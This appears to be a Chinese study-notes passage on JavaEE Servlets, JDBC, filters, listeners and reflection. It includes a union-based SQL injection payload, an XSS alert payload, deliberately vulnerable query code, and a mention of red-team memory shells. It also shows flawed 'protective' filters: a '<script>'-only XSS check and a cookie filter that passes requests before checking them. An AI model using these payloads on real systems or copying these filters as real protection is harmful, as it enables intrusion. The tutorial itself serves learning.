JavaEE应用&Servlet路由技术&JDBC&Mybatis数据库&生命周期

创建JavaEE项目

1、使用idea创建javaee

image-20250518202732576 image-20250518202755472

运行测试:

image-20250518214858660

JavaEE-HTTP-Servlet&路由&周期

JAVAEE的核心-Servlet_javaee的核心 csdn-CSDN博客

Servlet介绍

Servlet是运行在Web服务器或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。本章内容详细讲解了web开发的相关内容以及servlet相关内容的配置使用,是JAVAEE开发的重中之重。

创建配置Servlet

目录结构:

image-20250518203531816

1、创建一个类集成HttpServlet

创建web.xml配置Servlet路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<!-- 定义Servlet -->
<servlet>
<servlet-name>index</servlet-name>
<!-- 指定Servlet类的完整路径 -->
<servlet-class>com.example.demo.IndexServlet</servlet-class>
</servlet>

<!-- 配置Servlet映射 -->
<servlet-mapping>
<servlet-name>index</servlet-name>
<!-- 指定Servlet的URL映射 -->
<url-pattern>/index</url-pattern>
</servlet-mapping>

</web-app>

创建IndexServlet.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.demo;

import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

//继承HttpServlet类
public class IndexServlet extends HelloServlet {
//处理GET请求方法
@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp) {
System.out.println("-----------------doGet");

}
}

页面测试

image-20250518215856244

GET方法

IndexServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.demo;

import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

//继承HttpServlet类
public class IndexServlet extends HelloServlet {
//处理GET请求方法
@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp) {
System.out.println("-----------------doGet");
resp.setContentType("text/html;charset=utf-8");
String name = req.getParameter("name");
System.out.println("name" + name);
}
}

web.xml无需修改

页面测试:

localhost:8080/demo_war/index?name=hsdhs

image-20250518220606454

注意:如果get参数获取不到,需要选择构造文件

image-20250518220736057

POST方法

IndexServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.example.demo;

import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

//继承HttpServlet类
public class IndexServlet extends HelloServlet {
//处理GET请求方法
// @Override
// public void doGet(HttpServletRequest req, HttpServletResponse resp) {
// System.out.println("-----------------doGet");
// resp.setContentType("text/html;charset=utf-8");
// String name = req.getParameter("name");
// System.out.println("name" + name);
// }
@Override
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
System.out.println("------------doPost");
//设定内容类型的字符集为UTF-8
resp.setContentType("text/html;charset=utf-8");

// 获取PrintWriter对象,用于向客户端发送响应数据
PrintWriter out = resp.getWriter();

//声明POST参数
String name = req.getParameter("name");
String age = req.getParameter("age");
String address = req.getParameter("address");

//输出POST参数
System.out.println("name: " + name);
System.out.println("age: " + age);
System.out.println("address: " + address);

// 刷新输出缓冲区,确保数据被及时发送到客户端
out.flush();

// 关闭PrintWriter,释放资源
out.close();

}
}

web.xml无需修改

通过使用postman进行post请求构造

image-20250518221643086

其他内置方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package com.example.demo;

import jakarta.servlet.ServletConfig;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;


// 使用@WebServlet注解将Servlet映射到特定的URL

public class IndexServlet extends HttpServlet {

// 处理GET请求的方法
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("--------------doGet");

// 从请求中获取参数"id"
String id = req.getParameter("id");

// 设置响应的内容类型
resp.setContentType("text/html; charset=GBK");

// 获取PrintWriter以将HTML响应发送给客户端
PrintWriter out = resp.getWriter();

// 输出从GET请求中收到的数据
out.println("这是GET请求的数据:");
out.println("id:" + id + "<br>");
out.flush();
out.close();
}

// 处理POST请求的方法
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 从请求中获取参数"name"
String name = req.getParameter("name");

// 设置响应的内容类型
resp.setContentType("text/html; charset=GBK");

// 获取PrintWriter以将HTML响应发送给客户端
PrintWriter out = resp.getWriter();

// 输出从POST请求中收到的数据
out.println("这是post提交的数据");
out.println(name);
out.flush();
out.close();

System.out.println("--------------doPost");
}

// 当Servlet首次创建时调用的初始化方法
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("--------------init");

// 可以在这里添加任何初始化任务的代码
}

// 当Servlet被销毁时调用的方法
@Override
public void destroy() {
System.out.println("--------------destroy");
super.destroy();
}

// 处理GET和POST请求的服务方法
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("--------------http service");
super.service(req, resp);
}

// 覆盖的用于ServletRequest和ServletResponse的服务方法
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
System.out.println("--------------Servlet service");
super.service(req, res);
}
}

web.xml无需修改

查看结果:

image-20250518222017180

Untitled

HttpServletRequest HttpServletResponse 详解

HttpServletRequest(HTTP请求的信息)

ServletRequest的子接口:HttpServletRequest是ServletRequest接口的子接口,提供了用于处理HTTP请求的额外功能。

​ getParameter(name):通过参数名获取请求中的值。返回一个String,表示与给定参数名相对应的单个值。
​ getParameterValues(name):通过参数名获取请求中的多个值。返回一个**String[]**,表示与给定参数名相对应的多个值。

HttpServletResponse(HTTP响应的信息)

ServletResponse的子接口:HttpServletResponse是ServletResponse接口的子接口,提供了用于处理HTTP响应的额外功能。
setCharacterEncoding():设置响应的字符编码格式。通常用于确保正确的文本输出。
setContentType():设置响应内容的类型和编码。常用于指定输出的数据类型,如HTML、JSON等。
getWriter():获取一个PrintWriter字符输出流,用于向客户端发送文本数据。
PrintWriter:PrintWriter是用于向客户端输出字符数据的类,可以接受各种数据类型,然后将其转换为文本并发送到客户端。

数据库-JDBC&Mybatis&库

-原生态数据库开发:JDBC
参考:https://www.jianshu.com/p/ed1a59750127

JDBC(Java Database connectivity): 由java提供,用于访问数据库的统一API接口规范.

数据库驱动: 由各个数据库厂商提供,用于访问数据库的jar包(JDBC的具体实现),遵循JDBC接口,以便java程序员使用!

安装使用

安装jar

Maven Repository: mysql

image-20250519141733855

image-20250519142027045

引用封装jar

选择项目结构->模块->

image-20250519145302703

注册数据库驱动

“com.mysql.jdbc.Driver”: 这是 MySQL JDBC 驱动程序的类名。JDBC(Java Database Connectivity)是 Java 用于与数据库交互的 API,而不同的数据库供应商提供了各自的 JDBC 驱动程序。在这里,”com.mysql.jdbc.Driver” 是 MySQL JDBC 驱动程序的类名。

加载和初始化: 当调用 Class.forName(“com.mysql.jdbc.Driver”); 时,它会尝试查找、加载并初始化指定的类。在这个过程中,MySQL JDBC 驱动程序的静态代码块(static {…})会被执行,这通常用于注册驱动程序。

1
2
3
4
5
6
7
8
首先,导入数据库驱动jar包(以MySQL为例,mysql-connector-java-5.1.40-bin.jar),然后注册驱动

// 方法一.导致MySql驱动被注册两次,还导致程序和具体驱动类绑定,切换数据库,需要修改java源码重新编译,不建议使用!
DriverManager.registerDriver(new Driver());

// 方法二.驱动类的静态代码块已经注册驱动,只需要加载驱动类即可
// 用反射加载,与驱动类字符串绑定,字符串可放在配置文件,切换数据库,无需改源码重新编译,只需要修改配置文件!
Class.forName("com.mysql.jdbc.Driver");

建立数据库连接

1
2
3
4
5
6
7
8
9
10
11
12
Connection connection = DriverManager.getConnection(url,user,password); 

url格式
MySql: jdbc:mysql://ip:3306/sid (本机地址简写jdbc:mysql:///sid)
Oracle: jdbc:oracle:thin:@ip:1521:sid
SqlServer: jdbc:microsoft:sqlserver://ip:1433;DatabaseName=sid

参数(可选,user和password可以写在url参数中)
?user=lioil&password=***&useUnicode=true&characterEncoding=UTF-8

协议:子协议://ip地址:端口号/库名?参数1=值&参数2=值
jdbc:mysql://localhost:3306/sid?useUnicode=true&characterEncoding=utf-8

案例:

1
2
3
4
5
6
7
8
9
// 定义数据库连接的URL,格式为:jdbc:mysql://host:port/database
String url = "jdbc:mysql://localhost:3306/demo01";

// 使用DriverManager获取数据库连接
Connection connection = DriverManager.getConnection(url, "root", "root");

// 打印数据库连接信息
System.out.println(connection);

image-20250519145725589

创建Statement执行SQL

onnection.createStatement();: 在Connection对象上调用createStatement方法,创建一个Statement对象。Statement对象用于执行SQL语句,它可以执行静态的SQL查询、更新、删除等操作。createStatement方法返回一个新的Statement对象。
创建一个Statement对象,然后使用该对象执行给定的SQL查询语句,将查询结果存储在一个ResultSet对象中。这样,您可以通过遍历ResultSet来检索和处理查询的结果集中的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
1.Statement常用方法:
单个执行SQL语句
boolean execute(String sql) 执行SQL语句,没有结果集返回false,有返回true(通过Statement.getResultSet获取结果集);
ResultSet executeQuery(String sql) 执行select语句,返回结果集
int executeUpdate(String sql) 执行insert delete update语句,返回影响行数

批量执行SQL语句(insert update delete)
void addBatch(String sql) 批量添加SQL语句(insert update delete)
int[] executeBatch() 批量传输SQL到数据库执行,返回每个SQL语句影响行数(数组)
void clearBatch() 清空SQL

3.单个执行SQL语句
// 方法一.Statement
Statement statement = connection.createStatement();
int row = statement.executeUpdate(sql);
ResultSet resultSet = statement.executeQuery(sql);

ResultSet默认不能反向修改数据库记录,但可通过指定参数Statement来创建可改数据的ResultSet,不建议使用,应该用update语句修改数据!!!
Statement state = connection.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_UPDATABLE);
ResultSet resultSet = state.executeQuery("select * from user");
resultSet.next();
resultSet.updateString("name", "lioil");
resultSet.updateRow();

Statement createStatement(int resultSetType, int resultSetConcurrency)
resultSetType 结果集类型
ResultSet.TYPE_FORWARD_ONLY 不支持滚动,只能向前.
ResultSet.TYPE_SCROLL_INSENSITIVE 支持滚动,迟钝不敏感
ResultSet.TYPE_SCROLL_SENSITIVE 支持滚动,敏感
resultSetConcurrency 是否支持修改类型
ResultSet.CONCUR_READ_ONLY 不支持修改
ResultSet.CONCUR_UPDATABLE 支持修改

// 方法二.PrepareStatement预编译防止SQL注入攻击,用户参数?只做参数,不参与编译,传入SQL关键字无用
PrepareStatement statement = connection.prepareStatement("SELECT * FROM user WHERE name=? AND password=?");
statement.setString(1, "lioil");
statement.setString(2, "12345");
ResultSet resultSet = statement.executeQuery();

statement.setInt(...);
statement.setDouble(...);
statement.setDate(...);

SQL注入:用户恶意传入一些SQL特殊关键字,导致SQL语义变化
SELECT * FROM user WHERE name='lioil' AND password='12345'; -- 正常
SELECT * FROM user WHERE name='lioil' OR 1=1; --' AND password='1'; -- 恶意注入'lioil' OR 1=1; --' 使语句在OR 1=1;处结束,password没有执行

4.批量执行SQL
Statement批处理
Statement smt = conn.createStatement();
smt.addBatch(sql1);
smt.addBatch(sql2);
smt.addBatch(sql3);
smt.executeBatch();

优点:可执行多条不同结构SQL语句
缺点:没预编译,效率低

PrparedStatement批处理
PrepareStatement preSmt = conn.prepareStatement("insert into user values(null,?)");
for(int i=1;i<=100000;i++){
preSmt.setString(1,"id_"+i);
preSmt.addBatch();
// 1000条为一批次, 减少内存占用
if(i%1000==0){
preSmt.executeBatch();
preSmt.clearBatch();
}
}
preSmt.executeBatch();

优点:SQL结构相同,只编译一次,效率高
缺点:只能执行相同结构SQL语句

案例:

1
2
3
4
5
6
// 创建Statement对象
Statement statement= connection.createStatement();
String sql="select * from news";
// 执行查询,获取结果集
ResultSet resultSet = statement.executeQuery(sql);

对结果对象进行提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 遍历结果集
while (resultSet.next()) {
// 从结果集中获取每一行的数据

// 获取整型列 "id"
int id = resultSet.getInt("id");

// 获取字符串列 "page_title"
String page_title = resultSet.getString("page_title");

// 获取字符串列 "heading"
String heading = resultSet.getString("heading");

// 获取字符串列 "subheading"
String subheading = resultSet.getString("subheading");

// 获取字符串列 "content"
String content = resultSet.getString("content");

// 获取字符串列 "img"
String img = resultSet.getString("img");

// 输出每一行的数据,以便查看结果
System.out.println(id + "|" + page_title + "|" + heading + "|" + subheading + "|" + content + "|" + img);
}

image-20250519150518500

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.servletdemo;

import java.sql.*;


public class NewsServlet{
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url ="jdbc:mysql://localhost:3306/demo01";
Connection connection = DriverManager.getConnection(url,"root","123456");
System.out.println(connection);
String sql="select * from news";
//危险写法
//String vulsql="select * from news where id="+id;
//预编译写法
String safesql="select * from news where id=?";
System.out.println(sql);
Statement statement= connection.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()){
int id = resultSet.getInt("id");
String page_title = resultSet.getString("page_title");
String heading = resultSet.getString("heading");
String subheading = resultSet.getString("subheading");
String content = resultSet.getString("content");
String img = resultSet.getString("img");
System.out.println(id+"|"+page_title+"|"+heading+"|"+subheading+"|"+content+"|"+img);
}
}

}


安全问题

1、存在SQL注入问题

Untitled

select * from news where id=1: 这是一个正常的SQL查询,目的是从名为”news”的表中选择ID为1的记录。

  1. union: 这是SQL的关键字,用于合并两个查询的结果集。
  2. select 1,2,3,version(),user(),database(): 这是一个注入的查询,它返回了一些固定的值(1、2、3)以及数据库的版本信息(version())、当前用户(user())和当前数据库(database())的信息。
  3. 通过将这两个查询合并,攻击者试图将恶意的查询注入到正常的查询中,从而获取数据库的敏感信息。这种类型的攻击被称为联合查询注入。

Untitled

防御方法:使用预编译

原理:提前编译好执行逻辑,你注入的语句不会改变原有逻辑!

  1. 预编译写法: safesql 是一个预编译的 SQL 查询语句,其中 ? 是一个占位符,表示将在执行时动态替换。

  2. 使用 PreparedStatement: PreparedStatement 是 Statement 的子接口,用于执行预编译的 SQL 语句。通过调用 connection.prepareStatement(safesql) 创建一个 PreparedStatement 对象。

  3. 设置参数: 使用 setXXX 方法设置占位符的值。在这里,使用 setInt(1, id) 将 id 的值设置到第一个占位符上。这种方式防止了 SQL 注入攻击,因为参数值是通过预编译的方式传递的,而不是通过直接拼接字符串。

  4. 执行查询: 调用 executeQuery() 执行查询,得到 ResultSet 对象。

  5. 处理结果集: 根据业务需要,处理查询结果集的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 预编译写法
String safesql = "SELECT * FROM news WHERE id=?";

// 使用PreparedStatement
try (PreparedStatement preparedStatement = connection.prepareStatement(safesql)) {
// 设置参数,防止SQL注入攻击
preparedStatement.setInt(1, id);

// 执行查询
ResultSet resultSet = preparedStatement.executeQuery();

// 处理结果集...
} catch (SQLException e) {
e.printStackTrace();
}

JavaEE应用&Filter过滤器&Listener监听器&访问控制

JavaEE-过滤器-Filter

Untitled

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

环境配置

  • 创建新的项目FilterDemo1
  • 在对应的包名上,创建分类包filter与servlet
  • 在servlet下创建TestServlet ,并进行检测
  • 启动服务器,尝试进行Xss攻击,发现可以

TestServlet.java代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.demo1;

import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/index")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
// 从请求中获取名为“code”的参数值
String code = req.getParameter("code");

// 获取用于将输出发送会客户端的 PrintWriter 对象
PrintWriter out = resp.getWriter();

// 将 “code” 参数的值打印到客户端
out.println(code);

// 刷新 PrintWriter,确保立即发送任何缓冲的内容
out.flush();

// 关闭 PrintWriter 以释放资源
out.close();
}

}

image-20250519192328824

存在一定的XSS危险

1
http://localhost:8080/demo1_war_exploded/index?code=%3Cscript%3Ealert(1)%3C/script%3E

image-20250519192531295

创建过滤器

  • 在对应的filter下创建XssFilter

过滤器内置方法

并实现Filter 接口中的所有方法

init doFilter destroy

1、init(FilterConfig filterConfig):

  • 该方法在过滤器被初始化时调用,只会执行一次。
  • 用于执行一些初始化操作,例如获取配置信息等。

2、doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain):

  • 这是过滤器的主要方法,在每次请求被过滤时都会调用。
  • doFilter 方法中的 filterChain.doFilter(request, response) 表示继续执行过滤器链,如果没有更多的过滤器,最终将调用目标资源(例如 Servlet 或 JSP)。
  • 如果在 doFilter 中不调用 filterChain.doFilter,则请求将被拦截,不会继续传递。

3、destroy():

  • 该方法在过滤器被销毁时调用,只会执行一次。
  • 用于执行一些清理工作,释放资源等。

XssFilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example.demo1;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.HttpServletRequest;

import java.io.IOException;

@WebFilter("/index")
public class XssFilter implements Filter {

@Override
// 中间件启动后就自动运行
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("xss开始过滤");
}

@Override
// 访问路由触发的方法
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss is filter");

// 过滤代码就应该在放行前
// 如果符合就放行,不符合就过滤(拦截)

// XSS过滤 接受参数值 如果有攻击payload 就进行拦截
// 接受参数值 如果没有攻击payload 就进行放行
HttpServletRequest request = (HttpServletRequest) servletRequest;
String code = request.getParameter("code");

if(!code.contains("<script>")){

filterChain.doFilter(servletRequest,servletResponse);

}else {
System.out.println("have xss hack");

}
}

@Override
// 中间件关闭后就自动运行
public void destroy() {
System.out.println("xss is destroy");
}

}

输入正常参数:

image-20250519202200223

image-20250519202250729

输入xss危险函数

image-20250519202324703

image-20250519202346565

配置过滤器的触发

注意:

​ 可以使用\demo1\src\main\webapp\WEB-INF\web.xml 配置触发器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 第一种方法在xssFilter.java中配置 -->
@WebFilter("/index")

<!-- 第二种方法在web.xml中配置 -->
<filter>
<filter-name>xssFilter</filter-name>
<filter-class>com.example.demo1.xssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>xssFilter</filter-name>
<url-pattern>/index</url-pattern>
</filter-mapping>


利用过滤器简单实现:cookie身份验证

1、创建servlet下创建AdminServlet

1
2
3
4
5
6
7
8
@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("欢迎进入管理员页面");
}
}

访问测试:

image-20250519203725545

2、创建AdminFilter.java

①先不加入判断获取到浏览器本身的cookie值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example.demo1;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;

import java.io.IOException;

@WebFilter("/admin")
public class AdminFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init admin filter");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("doFilter admin filter");

// 检测cookie
HttpServletRequest request = (HttpServletRequest) servletRequest;
Cookie[] cookies = request.getCookies();

// 对cookie进行遍历
for (Cookie cookie : cookies) {
String name = cookie.getName();
String value = cookie.getValue();
System.out.println("name:" + name + ", value:" + value);
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {
Filter.super.destroy();
}


}

页面测试:

image-20250519204647689

②加入cookie进行判断

  • 检查请求中是否包含名为 “user” 且值为 “admin” 的Cookie。如果符合条件,则放行请求;否则,输出 “非管理员访问”。
  • 相应进入管理员页面,必须先在浏览器中添加对应判断的cookie值
  • 如果对应不上则是非管理员访问,不予通过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.example.demo1;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;

import java.io.IOException;

@WebFilter("/admin")
public class AdminFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("init admin filter");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("doFilter admin filter");

// 检测cookie
HttpServletRequest request = (HttpServletRequest) servletRequest;
Cookie[] cookies = request.getCookies();

// 对cookie进行遍历
for (Cookie cookie : cookies) {
String name = cookie.getName();
String value = cookie.getValue();
System.out.println("name:" + name + ", value:" + value);
filterChain.doFilter(servletRequest, servletResponse);

// 检查是否包含名为 "user" 且值为 "admin" 的Cookie
if (name.contains("admin") && value.contains("admin")) {
// 是管理员,放行请求
filterChain.doFilter(servletRequest, servletResponse);
}else {
// 非管理员,可以根据需求添加相应的处理逻辑,例如重定向到登录页等
System.out.println("not admin");
}
}
}

@Override
public void destroy() {
System.out.println("destroy admin filter");
}


}

①不设置cookie访问

image-20250519205723737

②设置cookie值进行访问

F12 ->application -> cookie

image-20250519205833316

image-20250519205912578

内存马

Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等
内存马参考:https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

一文看懂内存马 - FreeBuf网络安全行业门户

JavaEE-监听器-Listen

Untitled

参考:https://blog.csdn.net/qq_52797170/article/details/124023760

监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
监听域对象的属性发生修改的事件
监听在事件发生前、发生后做一些必要的处理

创建监听器

Untitled

  • 创建新的项目ListenDemo1

  • 在servlet下创建CSession DSession,并进行检测

DSession一个简单的Servlet,对应一个/ds的URL映射。在收到GET请求时,它会销毁当前请求的HttpSession。

1
2
3
4
5
6
7
8
9
10
@WebServlet("/ds")
public class DSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("Servlet里面销毁Session");

// 销毁Session
req.getSession().invalidate();
}
}
  • @WebServlet(“/ds”): 通过此注解,指定了Servlet的URL映射为 “/ds”。

  • System.out.println(“Servlet里面销毁Session”);: 打印一条日志,说明Servlet正在销毁Session。

  • req.getSession().invalidate();: 获取当前请求的HttpSession,并调用invalidate()方法使其失效,从而销毁Session。这通常会导致用户在当前会话中的状态丢失,因为Session被销毁了。

这段代码是一个简单的Servlet,对应一个 /cs 的URL映射。在收到GET请求时,它会创建一个新的HttpSession

1
2
3
4
5
6
7
8
9
10
11
@WebServlet("/cs")
public class CSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("Servlet里面创建Session");

// 创建Session
req.getSession();
}
}

监听器内置方法

这段代码定义了一个实现 HttpSessionListener 接口的监听器类 ListenSession,用于监听HttpSession的创建和销毁事件。

下面是对代码的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@WebListener
public class ListenSession implements HttpSessionListener {

@Override
public void sessionCreated(HttpSessionEvent se) {
// 监听检测有Session创建就会执行这里
System.out.println("监听器监听到了session创建");
}

@Override
public void sessionDestroyed(HttpSessionEvent se) {
// 监听检测有Session销毁就会执行这里
System.out.println("监听器监听到了session销毁");
}
}
  • @WebListener: 通过此注解,标记这是一个监听器类。

  • @Override 注解用于表示下面的方法是对接口中方法的重写。

  • public void sessionCreated(HttpSessionEvent se): 当有新的 HttpSession 被创建时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的创建。

  • public void sessionDestroyed(HttpSessionEvent se): 当一个 HttpSession 被销毁时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的销毁。

Untitled

监听器触发流程

在Java Web应用中,监听器用于监控和响应特定的事件。对于监听器的触发流程,以下是一般的步骤:

1
2
3
4
5
@WebListener
<listener>
.......
</listener>

注册监听器:
在Web应用中,你需要将监听器注册到相应的组件上。例如,在web.xml文件中配置监听器,或者使用注解(如@WebListener)标记监听器类。
事件发生:
当与监听器关联的特定事件在Web应用中发生时,监听器会被触发。
调用监听器方法:
监听器类中实现的相应方法(如sessionCreated、sessionDestroyed等)将被调用。这些方法包含与事件相关的信息,允许监听器执行特定的逻辑。
执行自定义逻辑:
在监听器方法中,你可以编写自定义的逻辑以响应事件。这可能包括记录日志、修改数据、发送通知等。

举例来说,对于HttpSessionListener:

当一个新的HttpSession被创建时,sessionCreated方法将被调用。
当一个HttpSession被销毁时,sessionDestroyed方法将被调用。

总的来说,监听器提供了一种在Web应用中对特定事件进行响应的机制,使开发者能够以声明性的方式处理应用的生命周期事件。

监听器安全场景

代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等

JavaEE应用&反射机制&攻击链&类对象&成员变量方法&构造方法

反射中的类名&变量&方法

Untitled

Untitled

Untitled

Untitled

反射概念

1、什么是Java反射

参考:https://xz.aliyun.com/t/9117

反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。

2、反射的作用

在运行时获得程序程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁

不改变原有代码逻辑,自行运行的时候动态创建和编译即可

3、利用场景

构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作

反射-Class对象类获取

image-20250520211132599

1、创建一个User类,包含成员变量和成员方法,构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

public class User{

// 成员变量
public String name="xiaodi";
public int age = 31;
private String gender="man";
protected String job = "sec";

// 构造方法
public User(){
System.out.println("no para");
}

private User(String name,int age){
System.out.println("name"+name);
System.out.println("age"+age);
}

// 成员方法
public void userinfo(String name,int age,String gender,String job){
this.name=name;
this.age=age;
this.gender=gender;
this.job=job;
}

protected void users(String name,String gender){
this.name=name;
this.gender=gender;
System.out.println("users people method"+name);
System.out.println("users people method"+gender);
}

}

2、对象类名获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

public class Main {
public static void main(String[] args) throws ClassNotFoundException {

// 1、通过全限定类名:Class.forName("全路径类名")
Class aClass=Class.forName("org.example.User");
System.out.println("class:"+aClass);

// 2、根据类名:类名.class
Class userClass= User.class;
System.out.println("class:"+userClass);

// 3、根据对象:对象.getClass()
User user = new User();
Class aClass1 = user.getClass();
System.out.println("class:"+aClass1);

// 4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
ClassLoader clsloader = ClassLoader.getSystemClassLoader();
Class aClass2 = clsloader.loadClass("org.example.User");
System.out.println("class:"+aClass2);

}
}

结果输出:

image-20250520211153860

反射-Field成员变量类获取

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.lang.reflect.Field;

public class FieldDemo {
